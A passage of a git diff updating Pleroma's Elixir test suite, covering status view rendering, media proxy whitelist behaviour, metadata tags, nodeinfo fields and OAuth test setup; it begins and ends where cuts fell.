end
+ test "has an emoji reaction list" do
+ user = insert(:user)
+ other_user = insert(:user)
+ third_user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "dae cofe??"})
+
+ {:ok, _, _} = CommonAPI.react_with_emoji(activity.id, user, "☕")
+ {:ok, _, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵")
+ {:ok, _, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕")
+ activity = Repo.get(Activity, activity.id)
+ status = StatusView.render("show.json", activity: activity)
+
+ assert status[:pleroma][:emoji_reactions] == [
+ %{emoji: "☕", count: 2},
+ %{emoji: "🍵", count: 1}
+ ]
+ end
+
+ test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
+ [participation] = Participation.for_user(user)
+
+ status =
+ StatusView.render("show.json",
+ activity: activity,
+ with_direct_conversation_id: true,
+ for: user
+ )
+
+ assert status[:pleroma][:direct_conversation_id] == participation.id
+
+ status = StatusView.render("show.json", activity: activity, for: user)
+ assert status[:pleroma][:direct_conversation_id] == nil
+ end
+
+ test "returns the direct conversation id when given the `direct_conversation_id` option" do
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})
+ [participation] = Participation.for_user(user)
+
+ status =
+ StatusView.render("show.json",
+ activity: activity,
+ direct_conversation_id: participation.id,
+ for: user
+ )
+
+ assert status[:pleroma][:direct_conversation_id] == participation.id
+ end
+
test "returns a temporary ap_id based user for activities missing db users" do
user = insert(:user)
@@ -31,7 +85,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
Repo.delete(user)
Cachex.clear(:user_cache)
- %{account: ms_user} = StatusView.render("status.json", activity: activity)
+ %{account: ms_user} = StatusView.render("show.json", activity: activity)
assert ms_user.acct == "erroruser@example.com"
end
@@ -48,7 +102,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
Cachex.clear(:user_cache)
- result = StatusView.render("status.json", activity: activity)
+ result = StatusView.render("show.json", activity: activity)
assert result[:account][:id] == to_string(user.id)
end
@@ -66,7 +120,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
User.get_cached_by_ap_id(note.data["actor"])
- status = StatusView.render("status.json", %{activity: note})
+ status = StatusView.render("show.json", %{activity: note})
assert status.content == ""
end
@@ -78,7 +132,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
convo_id = Utils.context_to_conversation_id(object_data["context"])
- status = StatusView.render("status.json", %{activity: note})
+ status = StatusView.render("show.json", %{activity: note})
created_at =
(object_data["published"] || "")
@@ -88,12 +142,12 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
id: to_string(note.id),
uri: object_data["id"],
url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note),
- account: AccountView.render("account.json", %{user: user}),
+ account: AccountView.render("show.json", %{user: user}),
in_reply_to_id: nil,
in_reply_to_account_id: nil,
card: nil,
reblog: nil,
- content: HtmlSanitizeEx.basic_html(object_data["content"]),
+ content: HTML.filter_tags(object_data["content"]),
created_at: created_at,
reblogs_count: 0,
replies_count: 0,
@@ -105,7 +159,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
pinned: false,
sensitive: false,
poll: nil,
- spoiler_text: HtmlSanitizeEx.basic_html(object_data["summary"]),
+ spoiler_text: HTML.filter_tags(object_data["summary"]),
visibility: "public",
media_attachments: [],
mentions: [],
@@ -132,8 +186,12 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
local: true,
conversation_id: convo_id,
in_reply_to_account_acct: nil,
- content: %{"text/plain" => HtmlSanitizeEx.strip_tags(object_data["content"])},
- spoiler_text: %{"text/plain" => HtmlSanitizeEx.strip_tags(object_data["summary"])}
+ content: %{"text/plain" => HTML.strip_tags(object_data["content"])},
+ spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])},
+ expires_at: nil,
+ direct_conversation_id: nil,
+ thread_muted: false,
+ emoji_reactions: []
}
}
@@ -144,27 +202,45 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
user = insert(:user)
other_user = insert(:user)
- {:ok, user} = User.mute(user, other_user)
+ {:ok, _user_relationships} = User.mute(user, other_user)
{:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.muted == false
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.muted == true
end
+ test "tells if the message is thread muted" do
+ user = insert(:user)
+ other_user = insert(:user)
+
+ {:ok, _user_relationships} = User.mute(user, other_user)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
+
+ assert status.pleroma.thread_muted == false
+
+ {:ok, activity} = CommonAPI.add_mute(user, activity)
+
+ status = StatusView.render("show.json", %{activity: activity, for: user})
+
+ assert status.pleroma.thread_muted == true
+ end
+
test "tells if the status is bookmarked" do
user = insert(:user)
{:ok, activity} = CommonAPI.post(user, %{"status" => "Cute girls doing cute things"})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.bookmarked == false
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.bookmarked == false
@@ -172,7 +248,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
activity = Activity.get_by_id_with_object(activity.id)
- status = StatusView.render("status.json", %{activity: activity, for: user})
+ status = StatusView.render("show.json", %{activity: activity, for: user})
assert status.bookmarked == true
end
@@ -184,7 +260,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity} =
CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.in_reply_to_id == to_string(note.id)
@@ -194,17 +270,15 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
end
test "contains mentions" do
- incoming = File.read!("test/fixtures/incoming_reply_mastodon.xml")
- # a user with this ap id might be in the cache.
- recipient = "https://pleroma.soykaf.com/users/lain"
- user = insert(:user, %{ap_id: recipient})
+ user = insert(:user)
+ mentioned = insert(:user)
- {:ok, [activity]} = OStatus.handle_incoming(incoming)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "hi @#{mentioned.nickname}"})
- status = StatusView.render("status.json", %{activity: activity})
+ status = StatusView.render("show.json", %{activity: activity})
assert status.mentions ==
- Enum.map([user], fn u -> AccountView.render("mention.json", %{user: u}) end)
+ Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end)
end
test "create mentions from the 'to' field" do
@@ -227,7 +301,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
assert length(activity.recipients) == 3
- %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity})
+ %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})
assert length(mentions) == 1
assert mention.url == recipient_ap_id
@@ -264,7 +338,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
assert length(activity.recipients) == 3
- %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity})
+ %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})
assert length(mentions) == 1
assert mention.url == recipient.ap_id
@@ -300,13 +374,23 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
assert %{id: "2"} = StatusView.render("attachment.json", %{attachment: object})
end
+ test "put the url advertised in the Activity in to the url attribute" do
+ id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810"
+ [activity] = Activity.search(nil, id)
+
+ status = StatusView.render("show.json", %{activity: activity})
+
+ assert status.uri == id
+ assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/"
+ end
+
test "a reblog" do
user = insert(:user)
activity = insert(:note_activity)
{:ok, reblog, _} = CommonAPI.repeat(activity.id, user)
- represented = StatusView.render("status.json", %{for: user, activity: reblog})
+ represented = StatusView.render("show.json", %{for: user, activity: reblog})
assert represented[:id] == to_string(reblog.id)
assert represented[:reblog][:id] == to_string(activity.id)
@@ -323,12 +407,27 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
%Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])
- represented = StatusView.render("status.json", %{for: user, activity: activity})
+ represented = StatusView.render("show.json", %{for: user, activity: activity})
assert represented[:id] == to_string(activity.id)
assert length(represented[:media_attachments]) == 1
end
+ test "a Mobilizon event" do
+ user = insert(:user)
+
+ {:ok, object} =
+ Pleroma.Object.Fetcher.fetch_object_from_id(
+ "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39"
+ )
+
+ %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"])
+
+ represented = StatusView.render("show.json", %{for: user, activity: activity})
+
+ assert represented[:id] == to_string(activity.id)
+ end
+
describe "build_tags/1" do
test "it returns a a dictionary tags" do
object_tags = [
@@ -405,108 +504,6 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
end
end
- describe "poll view" do
- test "renders a poll" do
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Is Tenshi eating a corndog cute?",
- "poll" => %{
- "options" => ["absolutely!", "sure", "yes", "why are you even asking?"],
- "expires_in" => 20
- }
- })
-
- object = Object.normalize(activity)
-
- expected = %{
- emojis: [],
- expired: false,
- id: to_string(object.id),
- multiple: false,
- options: [
- %{title: "absolutely!", votes_count: 0},
- %{title: "sure", votes_count: 0},
- %{title: "yes", votes_count: 0},
- %{title: "why are you even asking?", votes_count: 0}
- ],
- voted: false,
- votes_count: 0
- }
-
- result = StatusView.render("poll.json", %{object: object})
- expires_at = result.expires_at
- result = Map.delete(result, :expires_at)
-
- assert result == expected
-
- expires_at = NaiveDateTime.from_iso8601!(expires_at)
- assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20
- end
-
- test "detects if it is multiple choice" do
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Which Mastodon developer is your favourite?",
- "poll" => %{
- "options" => ["Gargron", "Eugen"],
- "expires_in" => 20,
- "multiple" => true
- }
- })
-
- object = Object.normalize(activity)
-
- assert %{multiple: true} = StatusView.render("poll.json", %{object: object})
- end
-
- test "detects emoji" do
- user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "What's with the smug face?",
- "poll" => %{
- "options" => [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"],
- "expires_in" => 20
- }
- })
-
- object = Object.normalize(activity)
-
- assert %{emojis: [%{shortcode: "blank"}]} =
- StatusView.render("poll.json", %{object: object})
- end
-
- test "detects vote status" do
- user = insert(:user)
- other_user = insert(:user)
-
- {:ok, activity} =
- CommonAPI.post(user, %{
- "status" => "Which input devices do you use?",
- "poll" => %{
- "options" => ["mouse", "trackball", "trackpoint"],
- "multiple" => true,
- "expires_in" => 20
- }
- })
-
- object = Object.normalize(activity)
-
- {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2])
-
- result = StatusView.render("poll.json", %{object: object, for: other_user})
-
- assert result[:voted] == true
- assert Enum.at(result[:options], 1)[:votes_count] == 1
- assert Enum.at(result[:options], 2)[:votes_count] == 1
- end
- end
-
test "embeds a relationship in the account" do
user = insert(:user)
other_user = insert(:user)
@@ -516,7 +513,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
"status" => "drink more water"
})
- result = StatusView.render("status.json", %{activity: activity, for: other_user})
+ result = StatusView.render("show.json", %{activity: activity, for: other_user})
assert result[:account][:pleroma][:relationship] ==
AccountView.render("relationship.json", %{user: other_user, target: user})
@@ -533,7 +530,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity, _object} = CommonAPI.repeat(activity.id, other_user)
- result = StatusView.render("status.json", %{activity: activity, for: user})
+ result = StatusView.render("show.json", %{activity: activity, for: user})
assert result[:account][:pleroma][:relationship] ==
AccountView.render("relationship.json", %{user: user, target: other_user})
@@ -550,8 +547,17 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do
{:ok, activity} =
CommonAPI.post(user, %{"status" => "foobar", "visibility" => "list:#{list.id}"})
- status = StatusView.render("status.json", activity: activity)
+ status = StatusView.render("show.json", activity: activity)
assert status.visibility == "list"
end
+
+ test "successfully renders a Listen activity (pleroma extension)" do
+ listen_activity = insert(:listen)
+
+ status = StatusView.render("listen.json", activity: listen_activity)
+
+ assert status.length == listen_activity.data["object"]["length"]
+ assert status.title == listen_activity.data["object"]["title"]
+ end
end
diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs
index 53b8f556b..fdfdb5ec6 100644
--- a/test/web/media_proxy/media_proxy_controller_test.exs
+++ b/test/web/media_proxy/media_proxy_controller_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do
diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs
index edbbf9b66..96bdde219 100644
--- a/test/web/media_proxy/media_proxy_test.exs
+++ b/test/web/media_proxy/media_proxy_test.exs
@@ -1,17 +1,14 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MediaProxyTest do
use ExUnit.Case
+ use Pleroma.Tests.Helpers
import Pleroma.Web.MediaProxy
alias Pleroma.Web.MediaProxy.MediaProxyController
- setup do
- enabled = Pleroma.Config.get([:media_proxy, :enabled])
- on_exit(fn -> Pleroma.Config.put([:media_proxy, :enabled], enabled) end)
- :ok
- end
+ clear_config([:media_proxy, :enabled])
describe "when enabled" do
setup do
@@ -171,21 +168,6 @@ defmodule Pleroma.Web.MediaProxyTest do
encoded = url(url)
assert decode_result(encoded) == url
end
-
- test "does not change whitelisted urls" do
- upload_config = Pleroma.Config.get([Pleroma.Upload])
- media_url = "https://media.pleroma.social"
- Pleroma.Config.put([Pleroma.Upload, :base_url], media_url)
- Pleroma.Config.put([:media_proxy, :whitelist], ["media.pleroma.social"])
- Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social")
-
- url = "#{media_url}/static/logo.png"
- encoded = url(url)
-
- assert String.starts_with?(encoded, media_url)
-
- Pleroma.Config.put([Pleroma.Upload], upload_config)
- end
end
describe "when disabled" do
@@ -215,12 +197,43 @@ defmodule Pleroma.Web.MediaProxyTest do
decoded
end
- test "mediaproxy whitelist" do
- Pleroma.Config.put([:media_proxy, :enabled], true)
- Pleroma.Config.put([:media_proxy, :whitelist], ["google.com", "feld.me"])
- url = "https://feld.me/foo.png"
+ describe "whitelist" do
+ setup do
+ Pleroma.Config.put([:media_proxy, :enabled], true)
+ :ok
+ end
+
+ test "mediaproxy whitelist" do
+ Pleroma.Config.put([:media_proxy, :whitelist], ["google.com", "feld.me"])
+ url = "https://feld.me/foo.png"
+
+ unencoded = url(url)
+ assert unencoded == url
+ end
- unencoded = url(url)
- assert unencoded == url
+ test "does not change whitelisted urls" do
+ Pleroma.Config.put([:media_proxy, :whitelist], ["mycdn.akamai.com"])
+ Pleroma.Config.put([:media_proxy, :base_url], "https://cache.pleroma.social")
+
+ media_url = "https://mycdn.akamai.com"
+
+ url = "#{media_url}/static/logo.png"
+ encoded = url(url)
+
+ assert String.starts_with?(encoded, media_url)
+ end
+
+ test "ensure Pleroma.Upload base_url is always whitelisted" do
+ upload_config = Pleroma.Config.get([Pleroma.Upload])
+ media_url = "https://media.pleroma.social"
+ Pleroma.Config.put([Pleroma.Upload, :base_url], media_url)
+
+ url = "#{media_url}/static/logo.png"
+ encoded = url(url)
+
+ assert String.starts_with?(encoded, media_url)
+
+ Pleroma.Config.put([Pleroma.Upload], upload_config)
+ end
end
end
diff --git a/test/web/metadata/feed_test.exs b/test/web/metadata/feed_test.exs
new file mode 100644
index 000000000..50e9ce52e
--- /dev/null
+++ b/test/web/metadata/feed_test.exs
@@ -0,0 +1,18 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.Metadata.Providers.FeedTest do
+ use Pleroma.DataCase
+ import Pleroma.Factory
+ alias Pleroma.Web.Metadata.Providers.Feed
+
+ test "it renders a link to user's atom feed" do
+ user = insert(:user, nickname: "lain")
+
+ assert Feed.build_tags(%{user: user}) == [
+ {:link,
+ [rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []}
+ ]
+ end
+end
diff --git a/test/web/metadata/twitter_card_test.exs b/test/web/metadata/twitter_card_test.exs
index 0814006d2..85a654f52 100644
--- a/test/web/metadata/twitter_card_test.exs
+++ b/test/web/metadata/twitter_card_test.exs
@@ -26,7 +26,32 @@ defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do
]
end
- test "it does not render attachments if post is nsfw" do
+ test "it uses summary twittercard if post has no attachment" do
+ user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994")
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "HI"})
+
+ note =
+ insert(:note, %{
+ data: %{
+ "actor" => user.ap_id,
+ "tag" => [],
+ "id" => "https://pleroma.gov/objects/whatever",
+ "content" => "pleroma in a nutshell"
+ }
+ })
+
+ result = TwitterCard.build_tags(%{object: note, user: user, activity_id: activity.id})
+
+ assert [
+ {:meta, [property: "twitter:title", content: Utils.user_name_string(user)], []},
+ {:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []},
+ {:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"],
+ []},
+ {:meta, [property: "twitter:card", content: "summary"], []}
+ ] == result
+ end
+
+ test "it renders avatar not attachment if post is nsfw and unfurl_nsfw is disabled" do
Pleroma.Config.put([Pleroma.Web.Metadata, :unfurl_nsfw], false)
user = insert(:user, name: "Jimmy Hendriks", bio: "born 19 March 1994")
{:ok, activity} = CommonAPI.post(user, %{"status" => "HI"})
@@ -67,7 +92,7 @@ defmodule Pleroma.Web.Metadata.Providers.TwitterCardTest do
{:meta, [property: "twitter:description", content: "“pleroma in a nutshell”"], []},
{:meta, [property: "twitter:image", content: "http://localhost:4001/images/avi.png"],
[]},
- {:meta, [property: "twitter:card", content: "summary_large_image"], []}
+ {:meta, [property: "twitter:card", content: "summary"], []}
] == result
end
diff --git a/test/web/metadata/utils_test.exs b/test/web/metadata/utils_test.exs
new file mode 100644
index 000000000..7547f2932
--- /dev/null
+++ b/test/web/metadata/utils_test.exs
@@ -0,0 +1,32 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.Metadata.UtilsTest do
+ use Pleroma.DataCase
+ import Pleroma.Factory
+ alias Pleroma.Web.Metadata.Utils
+
+ describe "scrub_html_and_truncate/1" do
+ test "it returns text without encode HTML" do
+ user = insert(:user)
+
+ note =
+ insert(:note, %{
+ data: %{
+ "actor" => user.ap_id,
+ "id" => "https://pleroma.gov/objects/whatever",
+ "content" => "Pleroma's really cool!"
+ }
+ })
+
+ assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!"
+ end
+ end
+
+ describe "scrub_html_and_truncate/2" do
+ test "it returns text without encode HTML" do
+ assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!"
+ end
+ end
+end
diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs
index d7f848bfa..9a574a38d 100644
--- a/test/web/node_info_test.exs
+++ b/test/web/node_info_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.NodeInfoTest do
@@ -24,8 +24,8 @@ defmodule Pleroma.Web.NodeInfoTest do
end
test "nodeinfo shows staff accounts", %{conn: conn} do
- moderator = insert(:user, %{local: true, info: %{is_moderator: true}})
- admin = insert(:user, %{local: true, info: %{is_admin: true}})
+ moderator = insert(:user, local: true, is_moderator: true)
+ admin = insert(:user, local: true, is_admin: true)
conn =
conn
@@ -61,6 +61,33 @@ defmodule Pleroma.Web.NodeInfoTest do
assert Pleroma.Application.repository() == result["software"]["repository"]
end
+ test "returns fieldsLimits field", %{conn: conn} do
+ max_account_fields = Pleroma.Config.get([:instance, :max_account_fields])
+ max_remote_account_fields = Pleroma.Config.get([:instance, :max_remote_account_fields])
+ account_field_name_length = Pleroma.Config.get([:instance, :account_field_name_length])
+ account_field_value_length = Pleroma.Config.get([:instance, :account_field_value_length])
+
+ Pleroma.Config.put([:instance, :max_account_fields], 10)
+ Pleroma.Config.put([:instance, :max_remote_account_fields], 15)
+ Pleroma.Config.put([:instance, :account_field_name_length], 255)
+ Pleroma.Config.put([:instance, :account_field_value_length], 2048)
+
+ response =
+ conn
+ |> get("/nodeinfo/2.1.json")
+ |> json_response(:ok)
+
+ assert response["metadata"]["fieldsLimits"]["maxFields"] == 10
+ assert response["metadata"]["fieldsLimits"]["maxRemoteFields"] == 15
+ assert response["metadata"]["fieldsLimits"]["nameLength"] == 255
+ assert response["metadata"]["fieldsLimits"]["valueLength"] == 2048
+
+ Pleroma.Config.put([:instance, :max_account_fields], max_account_fields)
+ Pleroma.Config.put([:instance, :max_remote_account_fields], max_remote_account_fields)
+ Pleroma.Config.put([:instance, :account_field_name_length], account_field_name_length)
+ Pleroma.Config.put([:instance, :account_field_value_length], account_field_value_length)
+ end
+
test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do
option = Pleroma.Config.get([:instance, :safe_dm_mentions])
Pleroma.Config.put([:instance, :safe_dm_mentions], true)
@@ -84,7 +111,34 @@ defmodule Pleroma.Web.NodeInfoTest do
Pleroma.Config.put([:instance, :safe_dm_mentions], option)
end
+ test "it shows if federation is enabled/disabled", %{conn: conn} do
+ original = Pleroma.Config.get([:instance, :federating])
+
+ Pleroma.Config.put([:instance, :federating], true)
+
+ response =
+ conn
+ |> get("/nodeinfo/2.1.json")
+ |> json_response(:ok)
+
+ assert response["metadata"]["federation"]["enabled"] == true
+
+ Pleroma.Config.put([:instance, :federating], false)
+
+ response =
+ conn
+ |> get("/nodeinfo/2.1.json")
+ |> json_response(:ok)
+
+ assert response["metadata"]["federation"]["enabled"] == false
+
+ Pleroma.Config.put([:instance, :federating], original)
+ end
+
test "it shows MRF transparency data if enabled", %{conn: conn} do
+ config = Pleroma.Config.get([:instance, :rewrite_policy])
+ Pleroma.Config.put([:instance, :rewrite_policy], [Pleroma.Web.ActivityPub.MRF.SimplePolicy])
+
option = Pleroma.Config.get([:instance, :mrf_transparency])
Pleroma.Config.put([:instance, :mrf_transparency], true)
@@ -98,11 +152,15 @@ defmodule Pleroma.Web.NodeInfoTest do
assert response["metadata"]["federation"]["mrf_simple"] == simple_config
+ Pleroma.Config.put([:instance, :rewrite_policy], config)
Pleroma.Config.put([:instance, :mrf_transparency], option)
Pleroma.Config.put(:mrf_simple, %{})
end
test "it performs exclusions from MRF transparency data if configured", %{conn: conn} do
+ config = Pleroma.Config.get([:instance, :rewrite_policy])
+ Pleroma.Config.put([:instance, :rewrite_policy], [Pleroma.Web.ActivityPub.MRF.SimplePolicy])
+
option = Pleroma.Config.get([:instance, :mrf_transparency])
Pleroma.Config.put([:instance, :mrf_transparency], true)
@@ -122,6 +180,7 @@ defmodule Pleroma.Web.NodeInfoTest do
assert response["metadata"]["federation"]["mrf_simple"] == expected_config
assert response["metadata"]["federation"]["exclusions"] == true
+ Pleroma.Config.put([:instance, :rewrite_policy], config)
Pleroma.Config.put([:instance, :mrf_transparency], option)
Pleroma.Config.put([:instance, :mrf_transparency_exclusions], exclusions)
Pleroma.Config.put(:mrf_simple, %{})
diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs
new file mode 100644
index 000000000..195b8c17f
--- /dev/null
+++ b/test/web/oauth/app_test.exs
@@ -0,0 +1,33 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.OAuth.AppTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.Web.OAuth.App
+ import Pleroma.Factory
+
+ describe "get_or_make/2" do
+ test "gets exist app" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
+ {:ok, %App{} = exist_app} = App.get_or_make(attrs, [])
+ assert exist_app == app
+ end
+
+ test "make app" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ {:ok, %App{} = app} = App.get_or_make(attrs, ["write"])
+ assert app.scopes == ["write"]
+ end
+
+ test "gets exist app and updates scopes" do
+ attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
+ app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
+ {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"])
+ assert exist_app.id == app.id
+ assert exist_app.scopes == ["read", "write", "follow", "push"]
+ end
+ end
+end
diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs
index d8b008437..2e82a7b79 100644
--- a/test/web/oauth/authorization_test.exs
+++ b/test/web/oauth/authorization_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.AuthorizationTest do
diff --git a/test/web/oauth/ldap_authorization_test.exs b/test/web/oauth/ldap_authorization_test.exs
index 0eb191c76..1cbe133b7 100644
--- a/test/web/oauth/ldap_authorization_test.exs
+++ b/test/web/oauth/ldap_authorization_test.exs
@@ -12,21 +12,12 @@ defmodule Pleroma.Web.OAuth.LDAPAuthorizationTest do
@skip if !Code.ensure_loaded?(:eldap), do: :skip
- setup_all do
- ldap_authenticator =
- Pleroma.Config.get(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.PleromaAuthenticator)
-
- ldap_enabled = Pleroma.Config.get([:ldap, :enabled])
-
- on_exit(fn ->
- Pleroma.Config.put(Pleroma.Web.Auth.Authenticator, ldap_authenticator)
- Pleroma.Config.put([:ldap, :enabled], ldap_enabled)
- end)
-
- Pleroma.Config.put(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator)
+ clear_config_all([:ldap, :enabled]) do
Pleroma.Config.put([:ldap, :enabled], true)
+ end
- :ok
+ clear_config_all(Pleroma.Web.Auth.Authenticator) do
+ Pleroma.Config.put(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator)
end
@tag @skip
diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
index aae34804d..adeff8e25 100644
--- a/test/web/oauth/oauth_controller_test.exs
+++ b/test/web/oauth/oauth_controller_test.exs
@@ -1,35 +1,26 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.OAuth.OAuthControllerTest do
use Pleroma.Web.ConnCase
import Pleroma.Factory
- import Mock
- alias Pleroma.Registration
alias Pleroma.Repo
+ alias Pleroma.User
alias Pleroma.Web.OAuth.Authorization
alias Pleroma.Web.OAuth.OAuthController
alias Pleroma.Web.OAuth.Token
- @oauth_config_path [:oauth2, :issue_new_refresh_token]
@session_opts [
store: :cookie,
key: "_test",
signing_salt: "cooldude"
]
+ clear_config_all([:instance, :account_activation_required])
describe "in OAuth consumer mode, " do
setup do
- oauth_consumer_strategies_path = [:auth, :oauth_consumer_strategies]
- oauth_consumer_strategies = Pleroma.Config.get(oauth_consumer_strategies_path)
- Pleroma.Config.put(oauth_consumer_strategies_path, ~w(twitter facebook))
-
- on_exit(fn ->
- Pleroma.Config.put(oauth_consumer_strategies_path, oauth_consumer_strategies)
- end)
-
[
app: insert(:oauth_app),
conn:
@@ -39,6 +30,13 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
]
end
+ clear_config([:auth, :oauth_consumer_strategies]) do
+ Pleroma.Config.put(
+ [:auth, :oauth_consumer_strategies],
+ ~w(twitter facebook)
+ )
+ end
+
test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{
app: app,
conn: conn
@@ -108,28 +106,26 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do
"state" => ""
}
- with_mock Pleroma.Web.Auth.Authenticator,
- get_registration: fn _ -> {:ok, registration} end do
- conn =
- get(
- conn,
- "/oauth/twitter/callback",
- %{
- "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM",
